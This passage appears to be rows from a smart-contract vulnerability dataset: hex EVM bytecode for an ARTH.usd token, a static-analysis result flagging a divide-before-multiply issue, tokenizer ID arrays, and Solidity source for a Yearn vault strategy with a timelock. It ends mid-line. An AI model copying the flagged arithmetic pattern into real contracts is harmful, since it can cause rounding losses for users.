00473ffffffffffffffffffffffffffffffffffffffff1681565b600061141e3384611419856040518060600160405280602881526020016137c660289139600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c059092919063ffffffff16565b6115d8565b6001905092915050565b6000611435338484611a39565b6001905092915050565b600061145261144c6117cf565b83610929565b9050919050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6114e86117cf565b73ffffffffffffffffffffffffffffffffffffffff16611506611242565b73ffffffffffffffffffffffffffffffffffffffff161461155c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161155390612d94565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156115cc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115c390612d14565b60405180910390fd5b6115d5816120a7565b50565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611648576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161163f90612e34565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156116b8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116af90612e74565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516117969190612e94565b60405180910390a3505050565b600081836117b19190613110565b905092915050565b600081836117c79190612f6e565b905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611847576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161183e90612d34565b60405180910390fd5b600061187c611854611227565b61186e61185f611180565b856117a390919063ffffffff16565b6117b990919063ffffffff16565b90506118ea8260405180606001604052806025815260200161377660259139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c059092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506119428260005461216d90919063ffffffff16565b600081905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516119a69190612e94565b60405180910390a3505050565b611a348363a9059cbb60e01b84846040516024016119d2929190612b57565b604051602081830303815290604052907bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff8381831617835250505050612183565b505050565b6000611a6e611a46611227565b611a60611a51611180565b856117b990919063ffffffff16565b6117a390919063ffffffff16565b9050611ac281600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461216d90919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611b5781600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ea590919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611bf79190612e94565b60405180910390a350505050565b6000838311158290611c4d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c449190612cd2565b60405180910390fd5b5082840390509392505050565b611cdd846323b872dd60e01b858585604051602401611c7b93929190612b20565b604051602081830303815290604052907bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff8381831617835250505050612183565b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611d53576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d4a90612cf4565b60405180910390fd5b6000611d88611d60611227565b611d7a611d6b611180565b856117a390919063ffffffff16565b6117b990919063ffffffff16565b9050611d9f82600054611ea590919063ffffffff16565b600081905550611df782600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ea590919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611e989190612e94565b60405180910390a3505050565b60008183611eb39190612f18565b905092915050565b6000807f1722642dd46b308aa943c1becb447d1ddfc59d77aa49e3f6d42fa0b8842e3c6386604051602001611ef1929190612ace565b604051602081830303815290604052805190602001209050600060018287878760405160008152602001604052604051611f2e9493929190612c57565b6020604051602081039080840390855afa158015611f50573d6000803e3d6000fd5b505050602060405103519050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614158015611fc457508773ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16145b9250505095945050505050565b600080611fdd8661224a565b90506000600182878787604051600081526020016040526040516120049493929190612c57565b6020604051602081039080840390855afa158015612026573d6000803e3d6000fd5b505050602060405103519050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415801561209a57508773ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16145b9250505095945050505050565b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b6000818361217b919061316a565b905092915050565b60006121e5826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c65648152508573ffffffffffffffffffffffffffffffffffffffff1661227a9092919063ffffffff16565b9050600081511115612245578080602001905181019061220591906126f2565b612244576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161223b90612e54565b60405180910390fd5b5b505050565b60008160405160200161225d9190612aa8565b604051602081830303815290604052805190602001209050919050565b60606122898484600085612292565b90509392505050565b6060824710156122d7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122ce90612d54565b60405180910390fd5b6122e0856123a6565b61231f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161231690612e14565b60405180910390fd5b6000808673ffffffffffffffffffffffffffffffffffffffff1685876040516123489190612a91565b60006040518083038185875af1925050503d8060008114612385576040519150601f19603f3d011682016040523d82523d6000602084013e61238a565b606091505b509150915061239a8282866123c9565b92505050949350505050565b6000808273ffffffffffffffffffffffffffffffffffffffff163b119050919050565b606083156123d957829050612429565b6000835111156123ec5782518084602001fd5b816040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124209190612cd2565b60405180910390fd5b9392505050565b60008135905061243f81613702565b92915050565b60008151905061245481613719565b92915050565b60008135905061246981613730565b92915050565b60008083601f84011261248157600080fd5b8235905067ffffffffffffffff81111561249a57600080fd5b6020830191508360018202830111156124b257600080fd5b9250929050565b6000813590506124c881613747565b92915050565b6000815190506124dd81613747565b92915050565b6000813590506124f28161375e565b92915050565b60006020828403121561250a57600080fd5b600061251884828501612430565b91505092915050565b6000806040838503121561253457600080fd5b600061254285828601612430565b925050602061255385828601612430565b9150509250929050565b60008060006060848603121561257257600080fd5b600061258086828701612430565b935050602061259186828701612430565b92505060406125a2868287016124b9565b9150509250925092565b600080600080600080600060e0888a0312156125c757600080fd5b60006125d58a828b01612430565b97505060206125e68a828b01612430565b96505060406125f78a828b016124b9565b95505060606126088a828b016124b9565b94505060806126198a828b016124e3565b93505060a061262a8a828b0161245a565b92505060c061263b8a828b0161245a565b91505092959891949750929550565b6000806040838503121561265d57600080fd5b600061266b85828601612430565b925050602061267c858286016124b9565b9150509250929050565b6000806000806060858703121561269c57600080fd5b60006126aa87828801612430565b94505060206126bb878288016124b9565b935050604085013567ffffffffffffffff8111156126d857600080fd5b6126e48782880161246f565b925092505092959194509250565b60006020828403121561270457600080fd5b600061271284828501612445565b91505092915050565b60006020828403121561272d57600080fd5b600061273b848285016124b9565b91505092915050565b60006020828403121561275657600080fd5b6000612764848285016124ce565b91505092915050565b6127768161319e565b82525050565b612785816131b0565b82525050565b612794816131bc565b82525050565b6127ab6127a6826131bc565b613302565b82525050565b60006127bd8385612ee0565b93506127ca838584613245565b6127d383613399565b840190509392505050565b60006127e982612eca565b6127f38185612ef1565b9350612803818560208601613254565b80840191505092915050565b612818816131fd565b82525050565b61282781613221565b82525050565b600061283882612ed5565b6128428185612efc565b9350612852818560208601613254565b61285b81613399565b840191505092915050565b6000612873602283612efc565b915061287e826133b7565b604082019050919050565b6000612896601c83612f0d565b91506128a182613406565b601c82019050919050565b60006128b9602683612efc565b91506128c48261342f565b604082019050919050565b60006128dc600283612f0d565b91506128e78261347e565b600282019050919050565b60006128ff602483612efc565b915061290a826134a7565b604082019050919050565b6000612922602683612efc565b915061292d826134f6565b604082019050919050565b6000612945601a83612efc565b915061295082613545565b602082019050919050565b6000612968602083612efc565b91506129738261356e565b602082019050919050565b600061298b602283612efc565b915061299682613597565b604082019050919050565b60006129ae601883612efc565b91506129b9826135e6565b602082019050919050565b60006129d1601783612efc565b91506129dc8261360f565b602082019050919050565b60006129f4601d83612efc565b91506129ff82613638565b602082019050919050565b6000612a17601783612efc565b9150612a2282613661565b602082019050919050565b6000612a3a602a83612efc565b9150612a458261368a565b604082019050919050565b6000612a5d601583612efc565b9150612a68826136d9565b602082019050919050565b612a7c816131e6565b82525050565b612a8b816131f0565b82525050565b6000612a9d82846127de565b915081905092915050565b6000612ab382612889565b9150612abf828461279a565b60208201915081905092915050565b6000612ad9826128cf565b9150612ae5828561279a565b602082019150612af5828461279a565b6020820191508190509392505050565b6000602082019050612b1a600083018461276d565b92915050565b6000606082019050612b35600083018661276d565b612b42602083018561276d565b612b4f6040830184612a73565b949350505050565b6000604082019050612b6c600083018561276d565b612b796020830184612a73565b9392505050565b6000606082019050612b95600083018761276d565b612ba26020830186612a73565b8181036040830152612bb58184866127b1565b905095945050505050565b6000602082019050612bd5600083018461277c565b92915050565b6000602082019050612bf0600083018461278b565b92915050565b600060c082019050612c0b600083018961278b565b612c18602083018861276d565b612c25604083018761276d565b612c326060830186612a73565b612c3f6080830185612a73565b612c4c60a0830184612a73565b979650505050505050565b6000608082019050612c6c600083018761278b565b612c796020830186612a82565b612c86604083018561278b565b612c93606083018461278b565b95945050505050565b6000602082019050612cb1600083018461280f565b92915050565b6000602082019050612ccc600083018461281e565b92915050565b60006020820190508181036000830152612cec818461282d565b905092915050565b60006020820190508181036000830152612d0d81612866565b9050919050565b60006020820190508181036000830152612d2d816128ac565b9050919050565b60006020820190508181036000830152612d4d816128f2565b9050919050565b60006020820190508181036000830152612d6d81612915565b9050919050565b60006020820190508181036000830152612d8d81612938565b9050919050565b60006020820190508181036000830152612dad8161295b565b9050919050565b60006020820190508181036000830152612dcd8161297e565b9050919050565b60006020820190508181036000830152612ded816129a1565b9050919050565b60006020820190508181036000830152612e0d816129c4565b9050919050565b60006020820190508181036000830152612e2d816129e7565b9050919050565b60006020820190508181036000830152612e4d81612a0a565b9050919050565b60006020820190508181036000830152612e6d81612a2d565b9050919050565b60006020820190508181036000830152612e8d81612a50565b9050919050565b6000602082019050612ea96000830184612a73565b92915050565b6000602082019050612ec46000830184612a82565b92915050565b600081519050919050565b600081519050919050565b600082825260208201905092915050565b600081905092915050565b600082825260208201905092915050565b600081905092915050565b6000612f23826131e6565b9150612f2e836131e6565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612f6357612f6261330c565b5b828201905092915050565b6000612f79826131e6565b9150612f84836131e6565b925082612f9457612f9361333b565b5b828204905092915050565b6000808291508390505b6001851115612fe957808604811115612fc557612fc461330c565b5b6001851615612fd45780820291505b8081029050612fe2856133aa565b9450612fa9565b94509492505050565b6000612ffd826131e6565b9150613008836131e6565b92506130357fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848461303d565b905092915050565b60008261304d5760019050613109565b8161305b5760009050613109565b8160018114613071576002811461307b576130aa565b6001915050613109565b60ff84111561308d5761308c61330c565b5b8360020a9150848211156130a4576130a361330c565b5b50613109565b5060208310610133831016604e8410600b84101617156130df5782820a9050838111156130da576130d961330c565b5b613109565b6130ec8484846001612f9f565b925090508184048111156131035761310261330c565b5b81810290505b9392505050565b600061311b826131e6565b9150613126836131e6565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561315f5761315e61330c565b5b828202905092915050565b6000613175826131e6565b9150613180836131e6565b9250828210156131935761319261330c565b5b828203905092915050565b60006131a9826131c6565b9050919050565b60008115159050919050565b6000819050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006132088261320f565b9050919050565b600061321a826131c6565b9050919050565b600061322c82613233565b9050919050565b600061323e826131c6565b9050919050565b82818337600083830152505050565b60005b83811015613272578082015181840152602081019050613257565b83811115613281576000848401525b50505050565b6000600282049050600182168061329f57607f821691505b602082108114156132b3576132b261336a565b5b50919050565b60006132c4826131e6565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156132f7576132f661330c565b5b600182019050919050565b6000819050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b60008160011c9050919050565b7f415254482e7573643a206d696e7420746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f19457468657265756d205369676e6564204d6573736167653a0a333200000000600082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f1901000000000000000000000000000000000000000000000000000000000000600082015250565b7f415254482e7573643a206275726e2066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f416464726573733a20696e73756666696369656e742062616c616e636520666f60008201527f722063616c6c0000000000000000000000000000000000000000000000000000602082015250565b7f415254482e7573643a206261642060746f602061646472657373000000000000600082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f415254482e7573643a207472616e7366657220657863656564732062616c616e60008201527f6365000000000000000000000000000000000000000000000000000000000000602082015250565b7f415254482e7573643a2045787069726564207065726d69740000000000000000600082015250565b7f415254482e7573643a20626164207369676e6174757265000000000000000000600082015250565b7f416464726573733a2063616c6c20746f206e6f6e2d636f6e7472616374000000600082015250565b7f415254483a20617070726f76652066726f6d207a65726f000000000000000000600082015250565b7f5361666545524332303a204552433230206f7065726174696f6e20646964206e60008201527f6f74207375636365656400000000000000000000000000000000000000000000602082015250565b7f415254483a20617070726f766520746f207a65726f0000000000000000000000600082015250565b61370b8161319e565b811461371657600080fd5b50565b613722816131b0565b811461372d57600080fd5b50565b613739816131bc565b811461374457600080fd5b50565b613750816131e6565b811461375b57600080fd5b50565b613767816131f0565b811461377257600080fd5b5056fe415254482e7573643a206275726e20616d6f756e7420657863656564732062616c616e6365415254482e7573643a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365415254482e7573643a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212201e2c0d62f48df975526d28494a8ad620b5a804ec681c43eedadff1294f49a94e64736f6c63430008010033
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'divide-before-multiply', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2581, 2509, 2546, 2692, 27009, 2098, 4783, 19797, 22407, 2581, 11387, 2683, 2278, 21619, 2050, 23833, 22203, 2692, 2683, 2549, 7011, 25746, 2546, 2683, 2683, 2050, 2581, 2487, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 4895, 13231, 12325, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1014, 1025, 12324, 1063, 29464, 11890, 11387, 1065, 2013, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 19204, 1013, 9413, 2278, 11387, 1013, 9413, 2278, 11387, 1012, 14017, 1000, 1025, 12324, 1063, 3647, 2121, 2278, 11387, 1065, 2013, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 19204, 1013, 9413, 2278, 11387, 1013, 21183, 12146, 1013, 3647, 2121, 2278, 11387, 1012, 14017, 1000, 1025, 12324, 1063, 2396, 25619, 20136, 15878, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,731
0x973F509c695cffcF355787456923637FF8A34b29
//SPDX-License-Identifier: Unlicense pragma solidity 0.7.3; import "../IStrat.sol"; import "./IYToken.sol"; import "../../vault/IVault.sol"; import "../../misc/Timelock.sol"; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; import "@openzeppelin/contracts/math/Math.sol"; contract YTokenStrat is IStrat { using SafeMath for uint256; using SafeERC20 for IERC20; using SafeERC20 for IERC20Detailed; IVault public vault; IYToken public yToken; IERC20Detailed public underlying; Timelock public timelock; uint public immutable minWithdrawalCap; // prevents the owner from completely blocking withdrawals uint public withdrawalCap = uint(-1); // max uint uint public buffer; // buffer of underlying to keep in the strat string public name = "Yearn V2"; // for display purposes only address public strategist; modifier onlyVault { require(msg.sender == address(vault)); _; } modifier onlyTimelock { require(msg.sender == address(timelock)); _; } modifier onlyStrategist { require(msg.sender == strategist || msg.sender == address(timelock)); _; } constructor(IVault vault_, IYToken yToken_, Timelock timelock_) { strategist = msg.sender; vault = vault_; yToken = yToken_; timelock = timelock_; underlying = IERC20Detailed(yToken_.token()); underlying.safeApprove(address(yToken), uint(-1)); // intentional underflow minWithdrawalCap = 1000 * (10 ** underlying.decimals()); // 10k min withdrawal cap } function invest() external override onlyVault { uint balance = underlying.balanceOf(address(this)); if(balance > buffer) { uint max = yToken.availableDepositLimit(); if(max > 0) { yToken.deposit(Math.min(balance - buffer, max)); // can't underflow because of above if statement } } } function divest(uint amount) external override onlyVault { uint balance = underlying.balanceOf(address(this)); if(balance < amount) { uint missingAmount = amount - balance; // can't underflow because of above it statement require(missingAmount <= withdrawalCap, "Reached withdrawal cap"); // Big withdrawals can cause slippage on Yearn's side. Users must split into multiple txs yToken.withdraw( Math.min( sharesForAmount(missingAmount)+1, // +1 is a fix for a rounding issue yToken.balanceOf(address(this)) ) ); } underlying.safeTransfer(address(vault), amount); } function totalYearnDeposits() public view returns (uint) { return yToken.balanceOf(address(this)) .mul(yToken.pricePerShare()) .div(10**yToken.decimals()); } function calcTotalValue() external view override returns (uint) { return Math.max(totalYearnDeposits(), 1) // cannot be lower than 1 because we subtract 1 after .sub(1) // account for dust .add(underlying.balanceOf(address(this))); } // IMPORTANT: This function can only be called by the timelock to recover any token amount including deposited yToken and underlying // However, the owner of the timelock must first submit their request and wait 2 days before confirming. // This gives depositors a good window to withdraw before a potentially malicious rescue // The intent is for the owner to be able to rescue funds in the case they become stuck after launch // However, users should not trust the owner and watch the timelock contract least once a week on Etherscan // In the future, the timelock contract will be destroyed and the functionality will be removed after the code gets audited function rescue(address _token, address _to, uint _amount) external onlyTimelock { IERC20(_token).safeTransfer(_to, _amount); } // Bypasses withdrawal cap. Should be used with care. Can cause Yearn slippage with large amounts. function withdrawShares(uint shares) public onlyStrategist { yToken.withdraw(shares); } // Bypasses withdrawal cap. Should be used with care. Can cause Yearn slippage with large amounts. function withdrawUnderlying(uint amount) public onlyStrategist { yToken.withdraw(sharesForAmount(amount)); } // Bypasses withdrawal cap. Should be used with care. Can cause Yearn slippage with large amounts. function withdrawAll() public onlyStrategist { yToken.withdraw(); } function depositUnderlying(uint amount) public onlyStrategist { yToken.deposit(amount); } function depositAll() public onlyStrategist { yToken.deposit(underlying.balanceOf(address(this))); } // set buffer to -1 to pause deposits to yearn. 0 to remove buffer. function setBuffer(uint _buffer) public onlyStrategist { buffer = _buffer; } // set to -1 for no cap function setWithdrawalCap(uint underlyingCap) public onlyStrategist { require(underlyingCap >= minWithdrawalCap); withdrawalCap = underlyingCap; } function sharesForAmount(uint amount) internal view returns (uint) { return amount.mul(yToken.totalSupply()).div(yToken.totalAssets()); } function setStrategist(address _strategist) public onlyTimelock { strategist = _strategist; } } //SPDX-License-Identifier: Unlicense pragma solidity 0.7.3; interface IStrat { function invest() external; // underlying amount must be sent from vault to strat address before function divest(uint amount) external; // should send requested amount to vault directly, not less or more function calcTotalValue() external returns (uint); } //SPDX-License-Identifier: Unlicense pragma solidity 0.7.3; interface IYToken { function balanceOf(address user) external view returns (uint); function pricePerShare() external view returns (uint); //function deposit(uint amount, address recipient) external returns (uint); // not used function deposit(uint amount) external returns (uint); function deposit() external returns (uint); //function withdraw(uint shares, address recipient) external returns (uint); // not used function withdraw(uint shares) external returns (uint); function withdraw() external returns (uint); function token() external returns (address); function totalAssets() external view returns (uint); function totalSupply() external view returns (uint); function availableDepositLimit() external view returns (uint); function decimals() external view returns (uint8); } //SPDX-License-Identifier: Unlicense pragma solidity 0.7.3; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; interface IERC20Detailed is IERC20 { function decimals() external view returns (uint8); } interface IVault { function totalSupply() view external returns (uint); function harvest(uint amount) external returns (uint afterFee); function distribute(uint amount) external; function underlying() external view returns (IERC20Detailed); function target() external view returns (IERC20); function owner() external view returns (address); function timelock() external view returns (address payable); function claimOnBehalf(address recipient) external; function lastDistribution() view external returns (uint); } //SPDX-License-Identifier: Unlicense pragma solidity 0.7.3; import "@openzeppelin/contracts/math/SafeMath.sol"; contract Timelock { using SafeMath for uint; event NewAdmin(address indexed newAdmin); event NewPendingAdmin(address indexed newPendingAdmin); event NewDelay(uint indexed newDelay); event CancelTransaction(bytes32 indexed txHash, address indexed target, uint value, string signature, bytes data, uint eta); event ExecuteTransaction(bytes32 indexed txHash, address indexed target, uint value, string signature, bytes data, uint eta); event QueueTransaction(bytes32 indexed txHash, address indexed target, uint value, string signature, bytes data, uint eta); uint public constant GRACE_PERIOD = 14 days; uint public constant MINIMUM_DELAY = 1 days; uint public constant MAXIMUM_DELAY = 30 days; address public admin; address public pendingAdmin; uint public delay; mapping (bytes32 => bool) public queuedTransactions; constructor(address admin_, uint delay_) { require(delay_ >= MINIMUM_DELAY, "Timelock::constructor: Delay must exceed minimum delay."); require(delay_ <= MAXIMUM_DELAY, "Timelock::setDelay: Delay must not exceed maximum delay."); admin = admin_; delay = delay_; } receive() external payable { } function setDelay(uint delay_) public { require(msg.sender == address(this), "Timelock::setDelay: Call must come from Timelock."); require(delay_ >= MINIMUM_DELAY, "Timelock::setDelay: Delay must exceed minimum delay."); require(delay_ <= MAXIMUM_DELAY, "Timelock::setDelay: Delay must not exceed maximum delay."); delay = delay_; emit NewDelay(delay); } function acceptAdmin() public { require(msg.sender == pendingAdmin, "Timelock::acceptAdmin: Call must come from pendingAdmin."); admin = msg.sender; pendingAdmin = address(0); emit NewAdmin(admin); } function setPendingAdmin(address pendingAdmin_) public { require(msg.sender == address(this), "Timelock::setPendingAdmin: Call must come from Timelock."); pendingAdmin = pendingAdmin_; emit NewPendingAdmin(pendingAdmin); } function queueTransaction(address target, uint value, string memory signature, bytes memory data, uint eta) public returns (bytes32) { require(msg.sender == admin, "Timelock::queueTransaction: Call must come from admin."); require(eta >= getBlockTimestamp().add(delay), "Timelock::queueTransaction: Estimated execution block must satisfy delay."); bytes32 txHash = keccak256(abi.encode(target, value, signature, data, eta)); queuedTransactions[txHash] = true; emit QueueTransaction(txHash, target, value, signature, data, eta); return txHash; } function cancelTransaction(address target, uint value, string memory signature, bytes memory data, uint eta) public { require(msg.sender == admin, "Timelock::cancelTransaction: Call must come from admin."); bytes32 txHash = keccak256(abi.encode(target, value, signature, data, eta)); queuedTransactions[txHash] = false; emit CancelTransaction(txHash, target, value, signature, data, eta); } function executeTransaction(address target, uint value, string memory signature, bytes memory data, uint eta) public payable returns (bytes memory) { require(msg.sender == admin, "Timelock::executeTransaction: Call must come from admin."); bytes32 txHash = keccak256(abi.encode(target, value, signature, data, eta)); require(queuedTransactions[txHash], "Timelock::executeTransaction: Transaction hasn't been queued."); require(getBlockTimestamp() >= eta, "Timelock::executeTransaction: Transaction hasn't surpassed time lock."); require(getBlockTimestamp() <= eta.add(GRACE_PERIOD), "Timelock::executeTransaction: Transaction is stale."); queuedTransactions[txHash] = false; bytes memory callData; if (bytes(signature).length == 0) { callData = data; } else { callData = abi.encodePacked(bytes4(keccak256(bytes(signature))), data); } // solium-disable-next-line security/no-call-value (bool success, bytes memory returnData) = target.call{value:value}(callData); require(success, "Timelock::executeTransaction: Transaction execution reverted."); emit ExecuteTransaction(txHash, target, value, signature, data, eta); return returnData; } function getBlockTimestamp() internal view returns (uint) { // solium-disable-next-line security/no-block-members return block.timestamp; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "./IERC20.sol"; import "../../math/SafeMath.sol"; import "../../utils/Address.sol"; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || 